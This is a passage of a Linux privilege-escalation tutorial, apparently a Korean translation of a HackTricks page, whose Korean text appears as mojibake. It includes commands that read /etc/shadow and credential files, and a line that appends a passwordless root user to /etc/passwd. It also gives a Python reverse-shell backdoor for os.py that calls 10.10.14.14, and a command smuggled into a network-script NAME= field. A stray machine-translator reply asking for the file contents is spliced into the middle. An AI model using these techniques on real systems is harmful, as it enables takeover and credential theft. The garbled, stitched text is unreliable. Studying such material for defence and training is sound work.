SSH Forward Agent exploitation
ํฅ๋ฏธ๋ก์ด ํ์ผ
ํ๋กํ ํ์ผ
The file /etc/profile and the files under /etc/profile.d/ are ์ฌ์ฉ์๊ฐ ์๋ก์ด ์
ธ์ ์คํํ ๋ ์คํ๋๋ ์คํฌ๋ฆฝํธ. Therefore, if you can ์์ฑํ๊ฑฐ๋ ์์ ํ ์ ์๋ค๋ฉด ๊ถํ ์์น์ด ๊ฐ๋ฅํฉ๋๋ค.
ls -l /etc/profile /etc/profile.d/
์ด์ํ ํ๋กํ ์คํฌ๋ฆฝํธ๊ฐ ๋ฐ๊ฒฌ๋๋ฉด ๋ฏผ๊ฐํ ์ ๋ณด๊ฐ ์๋์ง ํ์ธํด์ผ ํฉ๋๋ค.
Passwd/Shadow ํ์ผ
OS์ ๋ฐ๋ผ /etc/passwd์ /etc/shadow ํ์ผ์ ์ด๋ฆ์ด ๋ค๋ฅด๊ฑฐ๋ ๋ฐฑ์
์ด ์์ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ ํด๋น ํ์ผ๋ค์ ๋ชจ๋ ์ฐพ์ ์ฝ์ ์ ์๋์ง ํ์ธํ์ฌ ํ์ผ ๋ด๋ถ์ hashes๊ฐ ์๋์ง ํ์ธํ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค:
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
์ผ๋ถ ๊ฒฝ์ฐ /etc/passwd (๋๋ ๋๋ฑํ) ํ์ผ ์์์ password hashes๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
์ฐ๊ธฐ ๊ฐ๋ฅํ /etc/passwd
๋จผ์ , ๋ค์ ๋ช ๋ น์ด๋ค ์ค ํ๋๋ก password๋ฅผ ์์ฑํ์ธ์.
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
I donโt have the file contents. Please paste the contents of src/linux-hardening/privilege-escalation/README.md you want translated.
Also confirm how you want the user addition represented in the translated markdown:
- I can generate a secure password (e.g., 16 characters with letters, digits, symbols) and add a line like:
- user:
hacker - password:
<generated-password>(in a code block)
- user:
- Or add a placeholder (e.g.,
<GENERATED_PASSWORD>), or include a hashed password instead.
Which option do you want?
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
์: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
์ด์ su ๋ช
๋ น๊ณผ hacker:hacker๋ฅผ ์ฌ์ฉํ์ฌ ๋ก๊ทธ์ธํ ์ ์์ต๋๋ค.
๋๋, ๋น๋ฐ๋ฒํธ ์๋ ๋๋ฏธ ์ฌ์ฉ์๋ฅผ ์ถ๊ฐํ๋ ค๋ฉด ๋ค์ ์ค์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
๊ฒฝ๊ณ : ์ด๋ก ์ธํด ํ์ฌ ๋จธ์ ์ ๋ณด์์ด ์ ํ๋ ์ ์์ต๋๋ค.
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
์ฐธ๊ณ : BSD ํ๋ซํผ์์๋ /etc/passwd๊ฐ /etc/pwd.db ๋ฐ /etc/master.passwd์ ์์นํด ์์ผ๋ฉฐ, ๋ํ /etc/shadow๋ /etc/spwd.db๋ก ์ด๋ฆ์ด ๋ณ๊ฒฝ๋ฉ๋๋ค.
์ผ๋ถ ๋ฏผ๊ฐํ ํ์ผ์ ์ธ ์ ์๋์ง ํ์ธํด์ผ ํฉ๋๋ค. ์๋ฅผ ๋ค์ด, ์ผ๋ถ ์๋น์ค ๊ตฌ์ฑ ํ์ผ์ ์ธ ์ ์๋์?
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
์๋ฅผ ๋ค์ด, ํด๋น ๋จธ์ ์์ tomcat ์๋ฒ๊ฐ ์คํ ์ค์ด๊ณ /etc/systemd/ ์์ ์๋ Tomcat ์๋น์ค ๊ตฌ์ฑ ํ์ผ์ ์์ ํ ์ ์๋ค๋ฉด, ๋ค์ ์ค๋ค์ ์์ ํ ์ ์์ต๋๋ค:
ExecStart=/path/to/backdoor
User=root
Group=root
๋น์ ์ backdoor๋ tomcat์ด ๋ค์์ ์์๋ ๋ ์คํ๋ฉ๋๋ค.
ํด๋ ํ์ธ
๋ค์ ํด๋์๋ ๋ฐฑ์ ์ด๋ ํฅ๋ฏธ๋ก์ด ์ ๋ณด๊ฐ ํฌํจ๋์ด ์์ ์ ์์ต๋๋ค: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (์๋ง ๋ง์ง๋ง ํญ๋ชฉ์ ์ฝ์ ์ ์๊ฒ ์ง๋ง ์๋ํด ๋ณด์ธ์)
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
์ด์ํ ์์น/Owned ํ์ผ
#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf " Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done
์ต๊ทผ ๋ช ๋ถ ๋ด์ ์์ ๋ ํ์ผ
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
Sqlite DB ํ์ผ
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml ํ์ผ
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
์จ๊ฒจ์ง ํ์ผ
find / -type f -iname ".*" -ls 2>/dev/null
PATH์ ์๋ ์คํฌ๋ฆฝํธ/๋ฐ์ด๋๋ฆฌ
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
์น ํ์ผ
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
๋ฐฑ์
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
๋น๋ฐ๋ฒํธ๊ฐ ํฌํจ๋์ด ์์ ์ ์๋ ์๋ ค์ง ํ์ผ๋ค
linPEAS์ ์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉด ๋น๋ฐ๋ฒํธ๋ฅผ ํฌํจํ ์ ์๋ ์ฌ๋ฌ ๊ฐ๋ฅํ ํ์ผ๋ค์ ๊ฒ์ํฉ๋๋ค.
๋ ๋ค๋ฅธ ํฅ๋ฏธ๋ก์ด ๋๊ตฌ๋ก ์ฌ์ฉํ ์ ์๋ ๊ฒ์: LaZagne๋ก, Windows, Linux ๋ฐ Mac์ ๋ก์ปฌ ์ปดํจํฐ์ ์ ์ฅ๋ ๋ง์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณต๊ตฌํ๋ ๋ฐ ์ฌ์ฉ๋๋ ์คํ ์์ค ์ ํ๋ฆฌ์ผ์ด์
์
๋๋ค.
๋ก๊ทธ
๋ก๊ทธ๋ฅผ ์ฝ์ ์ ์๋ค๋ฉด, ๊ทธ ์์์ ํฅ๋ฏธ๋กญ๊ฑฐ๋ ๊ธฐ๋ฐ์ ์ธ ์ ๋ณด๋ฅผ ์ฐพ์ ์ ์์์ง๋ ๋ชจ๋ฆ
๋๋ค. ๋ก๊ทธ๊ฐ ์ด์ํ ์๋ก ๋ ํฅ๋ฏธ๋ก์ธ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค (์๋ง๋).
๋ํ, ์ผ๋ถ ์๋ชป ๊ตฌ์ฑ๋ (backdoored?) audit logs๋ ์ด ํฌ์คํธ์ ์ค๋ช
๋ ๊ฒ์ฒ๋ผ audit logs ๋ด๋ถ์ ๋น๋ฐ๋ฒํธ๋ฅผ ๊ธฐ๋กํ๋๋ก ํ์ฉํ ์ ์์ต๋๋ค: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
๋ก๊ทธ๋ฅผ ์ฝ๊ธฐ ์ํด ๋ก๊ทธ๋ฅผ ์ฝ๋ ๊ทธ๋ฃน adm์ด ์ ๋ง ๋์์ด ๋ฉ๋๋ค.
Shell ํ์ผ
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell
์ผ๋ฐ์ ์ธ Creds Search/Regex
ํ์ผ ์ค์์ ์ด๋ฆ ๋๋ ๋ด์ฉ ์์ โpasswordโ๋ผ๋ ๋จ์ด๊ฐ ํฌํจ๋ ํ์ผ์ ํ์ธํด์ผ ํ๋ฉฐ, ๋ก๊ทธ ๋ด์ IPs์ emails, ๋๋ hashes regexps๋ ํ์ธํ์ธ์.
์ฌ๊ธฐ์์ ์ด๋ฅผ ๋ชจ๋ ์ํํ๋ ๋ฐฉ๋ฒ์ ์ ๋ถ ๋์ดํ์ง๋ ์๊ฒ ์ง๋ง, ๊ด์ฌ์ด ์๋ค๋ฉด linpeas๊ฐ ์ํํ๋ ๋ง์ง๋ง ๊ฒ์ฌ๋ค์ ํ์ธํด ๋ณด์ธ์.
์ฐ๊ธฐ ๊ฐ๋ฅํ ํ์ผ
Python library hijacking
๋ง์ฝ python ์คํฌ๋ฆฝํธ๊ฐ ์ด๋์์ ์คํ๋ ์ง ์๊ณ ๊ทธ ํด๋์ ์ธ ์ ์๊ฑฐ๋ modify python libraries๋ฅผ ์์ ํ ์ ์๋ค๋ฉด, OS ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์์ ํด backdoor๋ฅผ ์ฌ์ ์ ์์ต๋๋ค (python ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋ ์์น์ ์ธ ์ ์๋ค๋ฉด, os.py ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๋ณต์ฌํด์ ๋ถ์ฌ๋ฃ์ผ์ธ์).
๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ backdoor the libraryํ๋ ค๋ฉด os.py ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋์ ๋ค์ ์ค์ ์ถ๊ฐํ์ธ์ (IP์ PORT๋ฅผ ๋ณ๊ฒฝํ์ธ์):
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Logrotate ์ ์ฉ
logrotate์ ์ทจ์ฝ์ ์ผ๋ก ์ธํด ๋ก๊ทธ ํ์ผ์ด๋ ํด๋น ์์ ๋๋ ํฐ๋ฆฌ์ ๋ํด ์ฐ๊ธฐ ๊ถํ์ด ์๋ ์ฌ์ฉ์๊ฐ ๊ถํ ์์น์ ์ป์ ์ ์์ต๋๋ค. ์ด๋ ๋๊ฐ root๋ก ์คํ๋๋ logrotate๊ฐ ์์ ํ์ผ์ ์คํํ๋๋ก ์กฐ์๋ ์ ์๊ธฐ ๋๋ฌธ์ด๋ฉฐ, ํนํ /etc/bash_completion.d/ ๊ฐ์ ๋๋ ํฐ๋ฆฌ์์ ๋ฌธ์ ๊ฐ ๋ฉ๋๋ค. _/var/log_๋ฟ ์๋๋ผ ๋ก๊ทธ ํ์ ์ด ์ ์ฉ๋๋ ๋ชจ๋ ๋๋ ํฐ๋ฆฌ์ ๊ถํ์ ํ์ธํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค.
Tip
์ด ์ทจ์ฝ์ ์
logrotate๋ฒ์ 3.18.0๋ฐ ์ด์ ๋ฒ์ ์ ์ํฅ์ ์ค๋๋ค
์ทจ์ฝ์ ์ ๋ํ ์์ธํ ์ ๋ณด๋ ๋ค์ ํ์ด์ง์์ ํ์ธํ ์ ์์ต๋๋ค: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.
์ด ์ทจ์ฝ์ ์ logrotten์ผ๋ก ์ ์ฉํ ์ ์์ต๋๋ค.
์ด ์ทจ์ฝ์ ์ CVE-2016-1247 **(nginx logs)**์ ๋งค์ฐ ์ ์ฌํ๋ฏ๋ก, ๋ก๊ทธ๋ฅผ ๋ณ๊ฒฝํ ์ ์๋ ๊ฒฝ์ฐ ํด๋น ๋ก๊ทธ๋ฅผ ๋๊ฐ ๊ด๋ฆฌํ๋์ง ํ์ธํ๊ณ ๋ก๊ทธ๋ฅผ symlinks๋ก ๋์ฒดํ์ฌ ๊ถํ ์์น์ด ๊ฐ๋ฅํ์ง ํ์ธํ์ธ์.
/etc/sysconfig/network-scripts/ (Centos/Redhat)
Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
์ด๋ค ์ด์ ๋ก๋ ์ฌ์ฉ์๊ฐ _/etc/sysconfig/network-scripts_์ ifcf-<whatever> ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํ ์ ์๊ฑฐ๋ ๊ธฐ์กด ์คํฌ๋ฆฝํธ๋ฅผ ์์ ํ ์ ์๋ค๋ฉด, ์์คํ
์ pwned ์ํ๊ฐ ๋ฉ๋๋ค.
Network scripts, ifcg-eth0 for example ์ ๋คํธ์ํฌ ์ฐ๊ฒฐ์ ์ฌ์ฉ๋ฉ๋๋ค. ์ด๋ค์ .INI ํ์ผ๊ณผ ๊ฑฐ์ ๋์ผํ ํํ๋ฅผ ๊ฐ์ง๋๋ค. ๊ทธ๋ฌ๋ Linux์์๋ Network Manager (dispatcher.d)์ ์ํด ~sourced~ ๋ฉ๋๋ค.
์ ๊ฒฝ์ฐ, ์ด๋ฌํ network scripts์์ NAME= ์์ฑ์ด ์ ๋๋ก ์ฒ๋ฆฌ๋์ง ์์ต๋๋ค. ์ด๋ฆ์ ๊ณต๋ฐฑ(white/blank space)์ด ์๋ ๊ฒฝ์ฐ ์์คํ
์ ๊ณต๋ฐฑ ์ดํ์ ๋ถ๋ถ์ ์คํํ๋ ค๊ณ ์๋ํฉ๋๋ค. ์ฆ, ์ฒซ ๋ฒ์งธ ๊ณต๋ฐฑ ์ดํ์ ๋ชจ๋ ๊ฒ์ด root๋ก ์คํ๋ฉ๋๋ค.
For example: /etc/sysconfig/network-scripts/ifcfg-1337
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
(Network์ /bin/id ์ฌ์ด์ ๊ณต๋ฐฑ์ ์ฃผ์ํ์ธ์)
init, init.d, systemd, and rc.d
๋๋ ํ ๋ฆฌ /etc/init.d๋ System V init (SysVinit)์ฉ ์คํฌ๋ฆฝํธ์ ์ ์ฅ์๋ก, ์ ํต์ ์ธ Linux ์๋น์ค ๊ด๋ฆฌ ์์คํ
์
๋๋ค. ์ฌ๊ธฐ์๋ ์๋น์ค๋ฅผ start, stop, restart, ๋๋ก๋ reloadํ๊ธฐ ์ํ ์คํฌ๋ฆฝํธ๊ฐ ํฌํจ๋์ด ์์ต๋๋ค. ์ด ์คํฌ๋ฆฝํธ๋ค์ ์ง์ ์คํํ๊ฑฐ๋ /etc/rc?.d/์ ์๋ ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ํตํด ์คํํ ์ ์์ต๋๋ค. Redhat ๊ณ์ด ์์คํ
์์๋ ๋์ ๊ฒฝ๋ก๋ก /etc/rc.d/init.d๊ฐ ์ฌ์ฉ๋ฉ๋๋ค.
๋ฐ๋ฉด์ /etc/init๋ Upstart์ ์ฐ๊ด๋๋ฉฐ, Ubuntu์์ ๋์
๋ ๋ ์ต์ ์ ์๋น์ค ๊ด๋ฆฌ ๋ฐฉ์์ผ๋ก ์๋น์ค ๊ด๋ฆฌ๋ฅผ ์ํด ์ค์ ํ์ผ์ ์ฌ์ฉํฉ๋๋ค. Upstart๋ก์ ์ ํ์๋ ๋ถ๊ตฌํ๊ณ Upstart์ ํธํ์ฑ ๋ ์ด์ด ๋๋ฌธ์ SysVinit ์คํฌ๋ฆฝํธ๋ Upstart ๊ตฌ์ฑ๊ณผ ํจ๊ป ๊ณ์ ์ฌ์ฉ๋ฉ๋๋ค.
systemd๋ ํ๋์ ์ธ ์ด๊ธฐํ ๋ฐ ์๋น์ค ๊ด๋ฆฌ์๋ก ๋ฑ์ฅํ์ผ๋ฉฐ, ์์ฒญ ์ ๋ฐ๋ชฌ ์์(on-demand daemon starting), ์๋ ๋ง์ดํธ ๊ด๋ฆฌ(automount management), ์์คํ
์ํ ์ค๋
์ท(system state snapshots)๊ณผ ๊ฐ์ ๊ณ ๊ธ ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค. ๋ฐฐํฌ ํจํค์ง๋ /usr/lib/systemd/์, ๊ด๋ฆฌ์๊ฐ ์์ ํ๋ ์ ๋ ํ์ผ์ /etc/systemd/system/์ ๋ฐฐ์น๋์ด ์์คํ
๊ด๋ฆฌ ์์
์ ๊ฐ์ํํฉ๋๋ค.
๊ธฐํ ํธ๋ฆญ
NFS Privilege escalation
NFS no_root_squash/no_all_squash misconfiguration PE
Escaping from restricted Shells
Cisco - vmanage
Android rooting frameworks: manager-channel abuse
Android rooting frameworks๋ ์ผ๋ฐ์ ์ผ๋ก syscall์ ํํนํ์ฌ privileged kernel ๊ธฐ๋ฅ์ userspace manager์ ๋ ธ์ถํฉ๋๋ค. ๊ด๋ฆฌ์ ์ธ์ฆ์ด ์ฝํ ๊ฒฝ์ฐ(์: FD-order์ ๊ธฐ๋ฐํ ์๋ช ๊ฒ์ฌ๋ ์ทจ์ฝํ ๋น๋ฐ๋ฒํธ ์ฒด๊ณ) ๋ก์ปฌ ์ฑ์ด manager๋ก ๊ฐ์ฅํด ์ด๋ฏธ ๋ฃจํ ๋ ๊ธฐ๊ธฐ์์ root๋ก ๊ถํ์ ์์น์ํฌ ์ ์์ต๋๋ค. ์์ธํ ๋ด์ฉ ๋ฐ ์ต์คํ๋ก์ ์ ๋ณด๋ ๋ค์์ ์ฐธ์กฐํ์ธ์:
Android Rooting Frameworks Manager Auth Bypass Syscall Hook
VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)
VMware Tools/Aria Operations์ ์ ๊ท์ ๊ธฐ๋ฐ ์๋น์ค ๊ฒ์์ ํ๋ก์ธ์ค ๋ช
๋ น์ค์์ ๋ฐ์ด๋๋ฆฌ ๊ฒฝ๋ก๋ฅผ ์ถ์ถํด privileged context์์ -v ์ต์
์ผ๋ก ์คํํ ์ ์์ต๋๋ค. ๊ด๋ํ๊ฒ ํ์ฉ๋ ํจํด(์: \S ์ฌ์ฉ)์ ์ฐ๊ธฐ ๊ฐ๋ฅํ ์์น(์: /tmp/httpd)์ ๊ณต๊ฒฉ์๊ฐ ๋ฐฐ์นํ ๋ฆฌ์ค๋์ ์ผ์นํ ์ ์์ผ๋ฉฐ, ์ด๋ root๋ก์ ์คํ์ ์ด๋ํ ์ ์์ต๋๋ค (CWE-426 Untrusted Search Path).
์์ธํ ๋ด์ฉ๊ณผ ๋ค๋ฅธ discovery/monitoring ์คํ์๋ ์ ์ฉ ๊ฐ๋ฅํ ์ผ๋ฐํ๋ ํจํด์ ๋ค์์ ์ฐธ์กฐํ์ธ์:
Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244
์ปค๋ ๋ณด์ ๋ณดํธ
- https://github.com/a13xp0p0v/kconfig-hardened-check
- https://github.com/a13xp0p0v/linux-kernel-defence-map
์ถ๊ฐ ๋์๋ง
Linux/Unix Privesc Tools
Best tool to look for Linux local privilege escalation vectors: LinPEAS
LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc
์ฐธ๊ณ ์๋ฃ
- 0xdf โ HTB Planning (Crontab UI privesc, zip -P creds reuse)
- 0xdf โ HTB Era: forged .text_sig payload for cron-executed monitor
- 0xdf โ Holiday Hack Challenge 2025: Neighborhood Watch Bypass (sudo env_keep PATH hijack)
- alseambusher/crontab-ui
- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- https://payatu.com/guide-linux-privilege-escalation/
- https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
- http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
- https://touhidshaikh.com/blog/?p=827
- https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
- https://github.com/frizb/Linux-Privilege-Escalation
- https://github.com/lucyoa/kernel-exploits
- https://github.com/rtcrowley/linux-private-i
- https://www.linux.com/news/what-socket/
- https://muzec0318.github.io/posts/PG/peppo.html
- https://www.linuxjournal.com/article/7744
- https://blog.certcube.com/suid-executables-linux-privilege-escalation/
- https://juggernaut-sec.com/sudo-part-2-lpe
- https://linuxconfig.org/how-to-manage-acls-on-linux
- https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
- https://www.linode.com/docs/guides/what-is-systemd/
- 0xdf โ HTB Eureka (bash arithmetic injection via logs, overall chain)
- GNU Bash Manual โ BASH_ENV (non-interactive startup file)
- 0xdf โ HTB Environment (sudo env_keep BASH_ENV โ root)
- 0xdf โ HTB Previous (sudo terraform dev_overrides + TF_VAR symlink privesc)
- 0xdf โ HTB Slonik (pg_basebackup cron copy โ SUID bash)
- NVISO โ You name it, VMware elevates it (CVE-2025-41244)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


